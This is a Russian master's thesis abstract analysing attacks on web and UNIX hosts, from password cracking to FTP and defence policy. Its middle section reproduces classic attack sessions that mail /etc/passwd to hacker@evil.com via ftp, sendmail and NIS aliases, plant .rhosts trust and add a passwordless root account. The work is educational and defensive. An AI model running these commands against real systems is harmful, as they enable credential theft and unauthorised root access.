Златокрылец Я.С.

Златокрылец Ярослав Сергеевич

Группа ПО-99а

E-mail: discipler@ukrtop.com

Тема магистерской работы:

Анализ типовых информационных атак на Web-узлы и разработка алгоритмов и методов защиты от них

Руководитель: доцент, к.т.н Губенко Наталья Евгеньевна


Биография Библиотека Ссылки
Индивидуальное задание Фотогалерея Отчет о поиске



Автореферат магистерской выпускной работы

ВВЕДЕНИЕ

Одной из основных ценностей на современном этапе развития общества становится информация. Кто владеет информацией - тот владеет миром. Но это приводит к тому, что мир и состояние вещей вокруг меняется с очень быстро. Особенно это заметно в области компьютерных технологий - каждый год приносит новый шаг или прорыв; технологии, использовавшиеся десяток лет назад сегодня кажутся смешными.

Чем более техногенной становится наша цивилизация, чем больше развивается наука и техника, тем более проникают во все аспекты деятельности человека компьютерные и сетевые информационные технологии, тем больший объем работ и поток информации возлагается на них. Отказ подобных систем может привести к серьезным авариям, а потеря или хищение информации злоумышленниками/конкурентами или потеря информацией конфиденциальности приводит к колоссальным финансовым (и не только) потерям.

Поэтому проблема сетевой безопасности более чем актуальна и очевидна. Но нужно знать своего врага - для проведения наиболее эффективной стратеги защиты нужно знать где, когда и как может быть осуществлена атака. Для этого осуществлен комплексный анализ сетевых атак, прослежены методы, схемы и принципы действия.

Типичные заблуждения пользователей и не только

Глубокое непонимание большинством обывателей проблем, связанных с информационной безопасностью в вычислительных системах, с течением времени сформировало определенный миф о всемогуществе хакеров и повсеместной беззащитности компьютерных систем. Отчасти этот миф является реальностью. Действительно, современные вычислительные системы и сети общего назначения имеют серьезнейшие проблемы с безопасностью. Но, подчеркнем, именно вычислительные системы общего назначения. Там же, где требуется обработка критической информации и обеспечение высшего уровня защиты и секретности (например, в военной области, в атомной энергетике и т. п.), используются специализированные защищенные ВС, которые (и это чрезвычайно важно!) в основном изолированы от сетей общего назначения (от сети Internet, например).

Поэтому необходимо развеять первый миф, который очень популярен в художественной литературе, кино, а также в средствах массовой информации: кракер не может проникнуть извне в вычислительную систему стратегического назначения (например, в ВС атомной станции или пункта управления стратегическими вооружениями). Однако, речь идет о невозможности получения несанкционированного удаленного доступа именно "извне" . В том случае, если кракер из состава персонала защищенной ВС вознамерится нанести ущерб данной системе, то сложно абстрактно судить о том, насколько успешны будут его попытки.

В качестве примера приведем случай на Игналинской АЭС, когда местный системный программист внедрил в вычислительную систему программную закладку ("троянского коня" ), которая чуть не привела к аварии станции.

Однако, как показывает статистика, нарушения безопасности ВС собственным персоналом составляют около 90 процентов от общего числа нарушений. Не будем утверждать, что критические вычислительные системы неуязвимы, практически невозможно лишь реализовать на них успешную удаленную атаку. Встречающиеся же сообщения о том, как "кракеры проникли в компьютер Пентагона или НАСА" объясняются следующим образом: все дело в том, что, как и любая другая уважающая себя организация, будь то ЦРУ, АНБ или НАСА, они имеют свои WWW- или ftp-сервера, находящиеся в открытой сети и доступные всем. И кракеры в этом случае проникали именно в них (а ни в коем случае не в секретные или закрытые компьютеры, сервера или сети), используя один из сотен механизмов взлома (как задокументированных так и нет).

Безопасность электронных платежей

Другим и, пожалуй, наиболее устойчивым мифом является миф о всеобщей беззащитности банковских вычислительных систем. Да, действительно, в отличие от ВС стратегического назначения, банки из-за конкурентной борьбы между собой вынуждены для обеспечения удобства и быстродействия работы с клиентами предоставлять им возможность удаленного доступа из сетей общего пользования к своим банковским вычислительным системам. Однако, во-первых, для связи в этом случае используются защищенные криптопротоколы и всевозможные системы сетевой защиты (Firewall, например), и, во-вторых, предоставление клиенту возможности удаленного доступа отнюдь не означает, что клиент может получить доступ непосредственно к внутренней банковской сети. По мнению специалистов, зарубежные банковские ВС (про отечественные мы не говорим, пока еще не достигнут соответствующий уровень автоматизации расчетов) являются наиболее защищенными после ВС стратегического назначения.

Более интересным, на наш взгляд, вопросом является то, насколько надежно на самом деле защищены банковские сети, особенно в том случае, если к ним предусмотрен удаленный доступ из сети Internet. К сожалению, на этот вопрос мы не можем дать точного ответа, пока специализированные системы безопасности банковских ВС (естественно, под такими системами не имеются в виду операционные системы типа Novell NetWare, Windows NT или 95, UNIX, которые хоть и часто применяются в банковской среде, но специализированными уж никак не являются) не будут сертифицированы. Единственное, что можно гарантировать, это то, что с вероятностью около 99.9% подобные системы будут подвергаться угрозе отказа в обслуживании, которая рассмотрена далее.

Firewall как панацея от всех угроз

И последний миф - это миф о системах Firewall как о "единственном надежном средстве обеспечения безопасности" сегмента IP-сети. Да, сама суть Firewall-методики является абсолютно непогрешимой и логичной. Основной ее постулат состоит в создании выделенного бастиона (bastion host), на который возлагается задача обеспечения контроля и безопасности в защищаемом сегменте сети и через который осуществляется связь данного сегмента с внешним миром. Но пока это все действует лишь в теории. На практике же на сегодняшний день все известные системы Firewall неспособны к отражению большинства из описанных удаленных атак (как на протоколы и инфраструктуру сети, так и на телекоммуникационные службы)!

Это не означает, что отразить данные удаленные атаки принципиально невозможно. Все дело в том, что большинство разработчиков систем Firewall, как это часто случается с разработчиками систем защиты ВС, никогда не были хакерами и смотрели на проблему защиты IP-сетей не с точки зрения взломщика, а с точки зрения пользователя.

Для построения полной и корректной защиты Web-узла необходимо знать по каким схемам, механизмам и принципам может быть произведена атака, а для этого необходимо проанализировать существующие классы атак. Начать этот анализ стоит со случая вообще породившего понятие сетевой атаки и сетевого вируса - это не только самый известный случай нарушения безопасности Сети, но и самый крупный инцидент в области компьютерной безопасности вообще - вирус Морриса (Internet worm). Более того, он представлял собой не просто единичное вторжение в некоторый компьютер, а дал ответ на давний вопрос, могут ли не в абстрактных условиях существовать саморепродуцирующиеся программы (то, что теоретически это возможно, признавалось почти всеми). Подтвердив возможность создания такой программы, этот инцидент дал толчок к появлению целой отрасли компьютерной безопасности - компьютерной вирусологии (к тому времени уже существовали единичные вирусы и на персональных компьютерах - саморепродуцирующиеся в пределах одного компьютера).

Остается открытым (исходя, как мы увидим в дальнейшем, из существования схожих проблем безопасности UNIX и в наши дни) вопрос, почему же по сей день известен только один пример сетевого червя. Видимо, дело в том, что в странах с развитой компьютерной и сетевой инфраструктурой на сегодняшний день действует (во многом, кстати, вследствие вируса Морриса) очень жесткое законодательство против компьютерных преступлений такого рода (тем более, что написание червя не приносит никакой материальной выгоды - только сомнительную известность), а в странах, где подобные законы отсутствуют, отсутствует также и доступ широких кракерских масс к глобальным компьютерным сетям. Отсюда можно сделать вывод, что в ближайшем будущем, когда распространенность сетей достигнет необходимого уровня, нас ждут примеры новых сетевых червей, сделанных хакерами этих стран, и Россия здесь может занять одно из первых мест, учитывая, что за последние годы именно она давала наибольший процент мировых компьютерных вирусов. К 1988 году интернет как глобальная сеть уже практически сформировался, и практически все услуги сегодняшнего дня (кроме WWW) использовались и тогда. С другой стороны, в хакерских и околохакерских кругах скопилось достаточно информации о брешах в системах безопасности и способах несанкционированного проникновения в удаленные компьютеры. Критическая масса была накоплена, и она не могла не взорваться.

В начале ноября 1988 г. Сеть была атакована так называемым сетевым червем, впоследствии получившим в русскоязычной литературе название "вирус Морриса" по имени его создателя - студента Корнельского университета Роберта Морриса-младшего. Сетевым червем называют разновидность компьютерных вирусов, имеющих способность к самораспространению в локальной или глобальной компьютерной сети. Для этого червь должен обладать несколькими специфическими процедурами:

- нахождения новых целей для атаки;
- собственно проникновения в них;
- передачи своего кода на удаленную машину;
- запуска (получения управления) на ней;
- проверки на зараженность локальной или удаленной машины для ее повторного незаражения.

Стратегии, используемые вирусом

Для проникновения в компьютеры вирус использовал как алгоритмы подбора пароля, так и "дыры" в различных коммуникационных программах, которые позволяли ему получать доступ без предъявления пароля. Вирус Морриса заставил по-новому взглянуть на вопросы компьютерной безопасности со всех точек зрения. Были предприняты шаги не только по закрытию тех брешей, которые он использовал, но и по поиску и классификации причин их появления в UNIX-системах. Также была выявлена необходимость создания некоторого координационного органа, в котором бы накапливалась и систематизировалась информация о различных компьютерных инцидентах, применяемых методах атак и способах защиты от них. Вскоре такой центр CERT (Computer Emergency Response Team) был создан, и первым появившимся в декабре 1988 года бюллетенем было сообщение об уязвимостях, использованных червем.

Подбор пароля

Однако и компьютерные взломщики совершенствовали свои методы. Одной из атак, ставшей наиболее популярной, была атака с подбором пароля другого пользователя. Ей активно пользовался и вирус Морриса, но, либо развив его идеи, либо развиваясь независимо, вскоре появилось множество программ, занимавшихся подбором пароля к UNIX-машине. И долгое время слова "взломать UNIX" означали запустить взломщик (cracker) паролей.

Как известно, в файле /etc/passwd лежит ключевая информация о всех пользователях системы, включая его входное имя, пароль, полное имя и т. п. Даже в 70-х годах, когда создавались первые версии UNIX, его разработчикам было понятно, что пароль пользователя нельзя хранить в открытом виде. Надо отдать им должное, они сумели придумать схему, благодаря которой целенаправленные атаки на то, к чему всегда стремится не очень добропорядочный пользователь, а именно - завладеть паролем другого, смогли реализоваться только спустя 15 лет. Они не пошли по простому пути шифрования пароля по какому-то секретному алгоритму, т. к. рано или поздно этот алгоритм стал бы известен очередному не в меру любопытному, но в меру грамотному программисту и он смог бы расшифровать все пароли. Они выбрали путь необратимого преобразования пароля, когда из исходного пароля путем применения к ней специальной однонаправленной функции (называемой функцией хэширования) получалось некое значение, из которого никак нельзя получить исходный пароль. Более того, разработчики взяли математически криптостойкий алгоритм DES и на основе его создали функцию crypt (), преобразующую пароль в строку, расположенную в файле /etc/passwd. Итак, рассмотрим немного подробнее алгоритм, применяемый UNIX для преобразования пароля пользователя. Кстати, этот алгоритм применяется до сих пор в большинстве *IX.

Из исходного пароля берутся первые восемь байт. Также выбирается некоторое 12-битное случайное число (salt), используемое для операции хэширования. Его необходимость следует из того, чтобы одинаковые пароли (возможно, у разных людей) не выглядели одинаково после хэширования. Затем к этим двум параметрам применяется специальная функция шифрования, дающая на выходе 64-битное значение. Наконец, сам salt преобразуется в два читабельных ASCII-символа, а хэш - в 11 символов. Итак, функция crypt (passwd8, salt) выдает 13-символьную строчку, которая и записывается в файл /etc/passwd.

При входе пользователя в систему вызывается та же функция crypt() с введенным паролем и salt, полученными из /etc/passwd. Если результат функции оказывается равным тому значению, что хранится в файле, то аутентификация считается состоявшейся. После анализа этой схемы, первое, что приходит в голову потенциальному взломщику - это перебор. Берется некоторый набор символов (например, маленькие и большие буквы, цифры и специальные символы типа знаков препинания - всего получается 94 символа), а затем из них по очереди составляются все комбинации вплоть до 8-символьной длины. К каждой из них применяется crypt (), и результат сравнивается с имеющимся. Естественно, что в эти комбинации и попадет рано или поздно любой пароль пользователя. Обрезание пароля до 8 значимых символов, конечно, резко ограничивает множество для перебора, но для тех времен это было вполне допустимо, т. к. функция crypt() была реализована заведомо неэффективно, и время одного ее выполнения доходило до одной секунды на машине класса PDP. Таким образом, в среднем злоумышленник потратил бы или около 100 миллионов лет. Если же в качестве множества символов взять маленькие латинские буквы (наиболее часто используемое множество), то время перебора составит в среднем или всего 3440 лет. Заметим, однако, что на сегодняшний день скорость оптимизированной функции crypt () на машине класса Pentium составляет почти 10000 crypt /сек, т. е. она за 20 лет повысилась в 10000 раз! Поэтому сегодня пароль из последнего примера мы сможем найти в среднем за 125 дней!

Более того, во-первых, этот процесс легко можно распараллелить, а во-вторых, существуют специальные платы, аппаратно выполняющие процесс шифрования, с помощью которых можно еще уменьшить время на несколько порядков. Кроме того, человеку нелегко запомнить длинные бессмысленные наборы символов (идеальные в качестве паролей), поэтому он каким-либо путем попробует выбрать их более-менее запоминающимися и/или осмысленными. Чаще всего им в качестве пароля выбирается существующее слово или какая-либо информация о себе или своих знакомых (имя, дата рождения и т. п.). Ну, а поскольку в любом языке не более 100000 слов, то их перебор займет весьма небольшое время, и от 40 до 80% существующих паролей может быть угадано с помощью такой простой схемы, называемой "атакой по словарю" (до 80% этих паролей может быть угадано с использованием словаря размером всего 1000 слов).

Во-первых, сегодня трудно предположить, что существует еще какой-нибудь ускользнувший от внимания хакеров способ, позволяющий удаленно выкрасть файл /etc/passwd для последующего анализа (его, безусловно, можно получить, используя сценарий 1 или 2 через изъян в демоне - но это бессмысленно, т. к. злоумышленник в этом случае и так стал суперпользователем на вашей машине). Во-вторых, в современных версиях UNIX появился механизм так называемого "затенения" ( shadowing ) файла паролей - он перемещается в другое место и становится недоступным обычным пользователям по чтению. Но это не сильно эффективное средство, что связано опять-таки с идеологией UNIX, и вызов функции getpwent () иногда позволяет получить пароли пользователей в классическом виде. В-третьих, иногда функция crypt () заменяется на другую (еще более медленную) хэш-функцию, и запуск старых программ-вскрывателей ни к чему не приводит. Обычно это алгоритм MD5, скорость которого в 50 раз меньше, чем crypt (). Наконец, среди пользователей в последние годы проводится большая "разъяснительная работа" по выбору стойких паролей, и процент успешно подобранных паролей с помощью атаки "по словарю" пусть медленно, но падает.

Однако психологический фактор останется до тех пор, пока с компьютером работает человек, и, наверное, никогда эксперты по компьютерной безопасности не дождутся от пользователя выбора таких простых паролей, как 34jXs5U@bTa!6. Поэтому даже искушенный пользователь хитрит и выбирает такие пароли, как hope1, user1997, pAsSwOrD, toor, root toor, parol, gfhjkm, asxz. Видно, что все они, как правило, базируются на осмысленном слове и некотором простом правиле егопреобразования: прибавить цифру, прибавить год, перевести через букву в другой регистр, записать слово наоборот, прибавить записанное наоборот слово, записать русское слово латинскими буквами, набрать русское слово на клавиатуре с латинской раскладкой, составить пароль из рядом расположенных на клавиатуре клавиш и т. п.

Поэтому не надо удивляться, если такой "хитрый" пароль будет вскрыт хакерами - они не глупее вас, и уже вставили в свои программы те правила, по которым может идти преобразование слов. В самых продвинутых программах (Crack 4.1, John The Ripper 1.3) эти правила могут быть программируемыми и задаваться с помощью специального языка самим хакером.

Приведем пример эффективности такой стратегии перебора. Во многих книгах по безопасности предлагается выбирать в качестве надежного пароля два осмысленных слова, разделенных некоторым знаком, например good!password. Подсчитаем, за сколько времени в среднем будут сломаны такие пароли, если такое правило включено в набор программы-взломщика (пусть словарь 10000 слов, разделительными знаками могут быть 10 цифр и 32 знака препинания и специальных символа, машина класса Pentium со скоростью 10000 crypt /сек): сек. или всего 2.5 дня!

Итак, из всего вышесказанного ясно, насколько важно для вашей безопасности иметь хорошие пароли, причем это не зависит от операционной системы, которую вы используете. К сожалению, рекомендации по поводу выбора таких паролей выходят за рамки этой работы.

Типичные атаки

Далее мы рассмотрим типичные атаки на UNIX-хосты, которые осуществлялись в недалеком прошлом, и попытаемся классифицировать их по предложенным типовым сценариям.

Атака с использованием анонимного ftp

Анонимный ftp-сервис (обнаружить его наличие чрезвычайно легко, и это не должно возбуждать никаких подозрений) может служить легким способом получения доступа, поскольку его часто неправильно конфигурируют. Например, система может иметь полную копию файла /etc/passwd в каталоге ~ftp/etc вместо урезанной версии - со всеми вытекающими отсюда последствиями (см. предыдущий пункт). Кроме того, можно применить и более изощренный способ - в следующем примере домашний каталог специального пользователя ftp на victim.com доступен для записи. Это позволяет послать по почте самому себе файл /etc/passwd атакуемой машины. Для этого надо создать файл .forward в домашнем каталоге ftp, который выполняется, когда пользователю ftp посылается почта. Происходит это следующим образом:

"|/bin/mailhacker@evil.com < /etc/passwd"
evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name(victim.com:hacker): ftp
331 Guest login ok, send ident as password.
Password: *****
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls
(192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com

Теперь можно просто сидеть и ждать, когда файл с паролями будет послан обратно. Очевидно, что такая атака (как и следующая) является типичной по сценарию 2.

Рассматривая ftp, можно проверить более старую ошибку:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al /

Если этот прием сработал, то атакующий теперь вошел в систему как системный администратор ( root ). Если данная ошибка имеется в системе, то следует обязательно обновить ftpd.

Далее мы еще рассмотрим более свежие "дыры" в ftp-демонах.

Использование tftp

Существует также программа, подобная ftpd - tftpd. Этот демон не требует пароля для аутентификации. Если хост предоставляет tftp без ограничения доступа (обычно с помощью установок флагов безопасности в файле inetd.conf), то атакующий получает доступ по чтению и записи к любым файлам. Например, он может получить файл паролей с удаленной машины и разместить его в локальном каталоге /tmp:

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd/tmp/passwd.victim
tftp> quit

Это является атакой по сценарию 2.

Проникновение в систему с помощью sendmail

Sendmail - это очень сложная программа, у которой всегда было много проблем с безопасностью, включая печально известную команду "debug". С ее помощью, например, зачастую можно получить некоторую информацию об удаленной системе, иногда вплоть до номера версии, анализируя ее сообщения. Этодает возможность определить наличие в системе известных ошибок. Кроме того,можно увидеть, запущен ли псевдоним "decode" , имеющий ряд проблем:

evil % telnet victim.com 25 connecting to host victim.com (128.128.128.1.),
port 25 connection open
220 victim.com Sendmail
Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250<"|/usr/bin/uudecode">
quit

Наличие псевдонима decode подвергает систему риску, что злоумышленникможет изменить любые файлы, доступные для записи владельцу этого псевдонима,которым, как правило, является демон. Этот фрагмент кода поместит evil.com в файл .rhosts пользователя hacker, если он доступен для записи: evil % echo "evil.com" | uuencode
/home/hacker/.rhosts | mail decode@victim.com

В части sendmail, отвечающей за пересылку, были две хорошо известные ошибки. Первая была устранена в версии 5.59 Berkeley. Для версий sendmail до 5.59 в приведенном примере, несмотря на сообщения об ошибках, "evil.com" добавляется к файлу .rhosts вместе с обычными почтовыми заголовками:

% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/hacker/.rhosts
mail from: hacker
data
.
rcpt to:/home/hacker/.rhosts
mail from: hacker
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l hacker
Welcome to victim.com!
victim %

Вторая ошибка, исправленная недавно, позволяла кому угодно задавать произвольные команды оболочки и/или пути для посылающей и/или принимающей стороны. Попытки сохранить детали в секрете были тщетными, и широкая дискуссия в эхо-конференциях привела к обнародованию того, как можно использовать некоторые ошибки. Как и для большинства других ошибок UNIX, почти все системы оказались уязвимы для этих атак, поскольку все они имели в основе один и тот же исходный текст. Типичная атака с помощью sendmail, направленная на получение пароля, может выглядеть так:

evil % telnet victim.com 25
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday,
6 Nov 93 18:04
mail from: "|/bin/mail hacker@evil.com < /etc/passwd"
250 "|/bin/mail hacker@evil.com < /etc/passwd"...
Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %

Видно, что все атаки на sendmail идут на уровне незарегистрированного удаленного пользователя, и поэтому относятся к сценарию 1. Ну, а к sendmail мы еще вернемся.

Атаки на доверие

Ниже перечисляемые атаки основаны на типовом сценарии 4.

С использованием неправильного администрирования NFS

Предположим, что запуск программы showmount с параметром "атакуемый хост" покажет следующее:

evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/ root/easy easy
/export/swap/easy easy

Трудно не заметить, что /export и все его подкаталоги экспортируются во внешнюю среду. Предположим (это можно выяснить с помощью finger), что домашним каталогом пользователя guest является /export/foo. Теперь с помощью этой информации можно осуществить первое вторжение. Для этого монтируется домашний каталог пользователя guest удаленной машины. Поскольку даже суперпользователь атакующей машины не может модифицировать файлы на файловой системе, смонтированной как NFS, необходимо обмануть NFS и создать фиктивного пользователя guest в локальном файле паролей. Далее стандартно эксплуатируется "излишнее доверие" , и атакующая машина victim.com вставляется в файл .rhosts в удаленном домашнем каталоге guest, что позволит зарегистрироваться в атакуемой машине, не предоставляя пароля:

evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest:x:10001:1:временно для взлома:/: >> /etc/passwd
evil # su guest
evil % echo victim.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %

Если бы victim.com не экспортировал домашние каталоги пользователей, а только пользовательские каталоги с программами (скажем, /usr или /usr/local/bin), можно было бы заменить команду троянским конем, который бы выполнял те же операции.

Проникновение в систему с помощью rsh

Если система, которую собираются атаковать, содержит шаблон "+" в файле /etc/hosts.equiv (в некоторых системах он устанавливается по умолчанию) или содержит ошибки в утилите netgroups, то любой пользователь с помощью rlogin сможет зарегистрироваться на ней под любым именем, кроме root , без указания пароля. Поскольку специальный пользователь "bin" , как правило, имеет доступ к ключевым файлам и каталогам, то, зарегистрировавшись как bin, можно изменить файл паролей так, чтобы получить привилегии доступа root . Это можно сделать примерно следующим способом:

evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty;
thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root
shell:/:/bin/sh; cat pw.old ) > passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #

Несколько замечаний по поводу деталей приведенного выше метода: "rsh victim.com csh -i" используется для проникновения в систему, т. к. при таком запуске csh не оставляет никаких следов в файлах учета wtmp или utmp, делая rsh невидимым для finger или who. Правда, при этом удаленный командный процессор не подключается к псевдотерминалу, поэтому полноэкранные программы (например, редакторы) работать не будут. На многих системах атака с помощью rsh в случае успешного завершения оставалась совершенно незамеченной, поэтому можно порекомендовать использовать регистратор внешних tcp-подключений, который может помочь обнаружить такую деятельность.

Использование службы NIS

Активный NIS-сервер управляет почтовыми псевдонимами (aliases) для доменов NIS. Подобно рассмотренным вариантам атак с помощью псевдонимов локальной почты, можно создать почтовые псевдонимы, которые будут выполнять команды, когда им приходит почта. Например, рассмотрим создание псевдонима "foo" , который посылает по почте файл паролей на evil.com, когда на его адрес поступает любое сообщение:

nis-master # echo 'foo: "| mail hacker@evil.com
< /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com

Таким образом, становится ясно, что NIS - ненадежная служба, которая почти не имеет аутентификации клиентов и серверов, и, если атакующий управляет активным NIS-сервером, то он также сможет эффективно управлять хостами клиентов (например, сможет выполнять произвольные команды).

Особенности безопасности X-window

Все сетевые службы, кроме portmapper, могут быть обнаружены с помощью перебора всех сетевых портов. Многие сетевые утилиты и оконные системы работают с конкретными портами (например, sendmail - с портом 25, telnet - с портом 23). Порт X-window обычно 6000. Без дополнительной защиты окна X-window могут быть захвачены или просмотрены, ввод пользователя может быть украден, программы могут быть удаленно выполнены и т. п. Одним из методов определения уязвимости X сервера является подсоединение к нему через функцию XOpenDisplay (). Если функция возвращает не NULL, то можно получить доступ к дисплею.

Х-терминалы, гораздо менее мощные системы, могут иметь свои проблемы по части безопасности. Многие Х-терминалы разрешают неограниченный rsh-доступ, позволяя запустить Х-клиенты на терминале victim, перенаправляя вывод на локальный терминал:

evil% xhost +xvictim.victim.com
evil% rsh xvictim.victim.com telnet victim.com
-display evil.com

В любом случае необходимо продумать безопасность вашей системы X-Window, поскольку иначе система будет подвергаться такому же риску, как и при наличии "+" в hosts.eguiv или отсутствии пароля у root .

FTP - АТАКИ

FTP серверы могут работать в двух режимах: активном и пассивном. В активном режиме, когда начинается передача данных клиент начинает прослушивание TCP порта и сообщает серверу, какой порт он прослушивает, после чего сервер открывает TCP соединение с порта 20 на порт, указанный клиентом. Затем данные передаются через это соединение. В пассивном режиме, клиент сообщает серверу, что он готов к передаче данных и сервер начинает прослушивать неспециальный TCP порт и сообщает клиенту, который именно. Затем клиент открывает TCP соединение на порт указанный сервером и обмен данными происходит через это соединение.

Проблема этих вспомогательных соединений в том, что существующая спецификация FTP протокола не предусматривает какого-либо метода проверки того, что клиент или сервер, который установил соединение это именно тот, кто запросил это соединение в управляющем сеансе. Это, в сочетании в сочетании с фактом того, что многие операционные системы назначают TCP порты последовательно в возрастающем порядке, означает, что в результате в FTP протокол е создаются условия позволяющие атакующей стороне перехватить данные, которые передает кто-либо другой, либо подменить данные. Эти атаки слегка отличаются в активном и пассивном режиме. Когда передача данных осуществляется в активном режиме, атакующая сторона угадывает номер TCP порта, на котором конечный клиент ожидает соединения. Затем атакующий непрерывно посылает FTP серверу, к которому подключен клиент, команды PORT ip,of,client,machine,port,port RETR filename или STOR filename. Используя RETR если надо подменить данные передаваемые клиенту или STOR если надо перехватить данные от клиента к серверу. Или, атакующий может использовать атаки, основанные на знании TCP sequence number и подменить сеанс связи от сервера к клиенту. Правда, используя этот тип атак невозможно перехватить данные, можно только подменить их своими.

При непродуманной реализации протокола FTP клиент может не проверять порт и IP адрес сервера. В таком случае необходимость такой атаки просто отпадает. В тоже время, 4.2BSD FTP клиенты делают такую проверку, а это означает, что большая часть клиентов так же делают подобную проверку. В пассивном режиме все несколько по-иному. Ни Solaris 2.5 (SVR4) FTP сервер ни WU-ftpd, наиболее распространенные основы FTP-серверов, игнорируют проверку IP адресов вторичных соединений инициированных клиентом. Это означает, что передачи в пассивном режиме не только уязвимы против атак, аналогичных атакам в активном режиме, включая какой-либо тип доступа клиенту или угадывание sequence number, но и обычного TCP соединения из любого места Сети достаточно чтобы перехватить данные или подменить данные. Чтобы реализовать эти недостатки разработки, атакующему достаточно угадать TCP порт, который сервер будет слушать в следующем сеансе передачи данных и постоянно обстреливать его попытками соединений. Если сервер попытается послать данные клиенту, данные будут посланы атакующему. И наоборот, если атакующий может послать данные на сервер, подменяя данные, которые собирался передать клиент.

КОМПЛЕКСНЫЙ ПОДХОД К ЗАЩИТЕ

Нужно понимать и помнить, что все аппаратные, программные, программно-аппаратные и аналитические средства защиты Web-узлов будут неэффективны при отсутствии единой комплексной политики безопасности, которая включает в себя целый ряд правил и мер. Стоит помнить о радио-электронных средствах перехвата сигнала, о человеческом факторе, о средствах наблюдения и слежения, об уровнях секретности и доступа к информации, о резервировании на случай утери или повреждения важной информации, о корректном использовании и настройке средств программной и аппаратной защиты и т.д.

Почти каждую компанию, работающую в Интернет, атакуют взломщики. Иногда от такого вмешательства портится только содержимое Web-узла. В более серьезных случаях взломщикам удается проникнуть во внутреннюю сеть и украсть или испортить конфиденциальную информацию компании.

Мы вступаем в новую эпоху развития Интернет, когда Web-узлы из простых электронных досок объявлений превращаются в основное средство доступа к внутренним базам данных. Предприниматели все более уверенно начинают использовать Интернет для общения с заказчиками, проведения маркетинговых исследований в отношении конкурентов и выпускаемых ими продуктов, заниматься электронной коммерцией - иными словами, информация становится нашей валютой, и мы должны научиться защищать ее.

Программу по защите информации стоит начать с анализа тех слабых мест внутренней сети, которые возникают с появлением Web-сервера. Обсудим также стратегию организации безопасной работы в Интернет, начиная с защиты серверов и кончая установкой полномасштабных firewall-систем.

Поскольку обеспечение безопасной работы в Интернет - это не сиюминутно решаемая задача, мы расскажем о лучших средствах защиты и проинформируем вас о потенциально уязвимых местах, чтобы в дальнейшем можно было предупредить их появление.

Основные опасности

Следует опасаться трех основных видов "атаки". Первый из них приводит к отказу службы, вызывает перегрузку сервера или канала связи и вынуждает вас прекратить работу Web-узла, убрать "мусор" и выполнить процедуру перезагрузки. Второй - это "тайные" визиты, когда взломщик получает нужную ему информацию, но при этом ничего не портит. И наконец, третий вид представляет собой грубые нападения, в результате которых портятся или модифицируются данные.

Проблема состоит в том, что изначально Интернет была создана с целью облегчить совместное использование информации. Потребность в ее защите возникла позже. В Интернет используется стек протоколов TCP/IP, основанный на передаче пакетов от узла к узлу. Протокол IP работает на сетевом уровне и отвечает за формирование и адресацию пакетов в Интернет.

Взломщику ничего не стоит послать пакет с любым обратным адресом и получить неавторизованный доступ к системам и/или услугам. Это действие аналогично изменению содержимого поля From в заголовке сообщения электронной почты. Отличие состоит в том, что могут быть "введены в заблуждение" такие средства Интернет, как HTTP или FTP, так как для определения вида запрашиваемой услуги они опираются на содержащуюся в пакете информацию.

Хотя на окончательное решение этой проблемы могут уйти годы, новая версия протокола IP, называемая IPv6, позволяет аутентифицировать информацию, содержащуюся в пакете. Но, до тех пор пока она не станет общепринятым стандартом, нам придется считать каждый IP-пакет подозрительным с точки зрения безопасности.

Следующий, более высокий уровень в семействе протоколов TCP/IP - транспортный, на котором для доставки пакетов по назначению используются протоколы TCP (Transmission Control Protocol) или UDP (User Datagram Protocol). Протокол TCP предназначен для приложений, требующих надежной передачи данных, и не используется в приложениях, основанных на их широковещательной передаче. Для этого служит протокол UDP, в котором отсутствует возможность аутентификации, а поэтому пользоваться им небезопасно. На многих защищенных Web-узлах запрещены любые службы Интернет, использующие протокол UDP, в частности такие, как RealAudio.

Поверх транспортного расположен прикладной уровень, где и реализованы основные приложения Интернет: HTTP, FTP, SMTP и Telnet. Обычно они работают в режиме привилегированного доступа (root access) с правом модифицировать файлы. Если взломщик "вскроет" одно из этих приложений, то может получить полномочия администратора системы и таким образом захватить управление сервером.

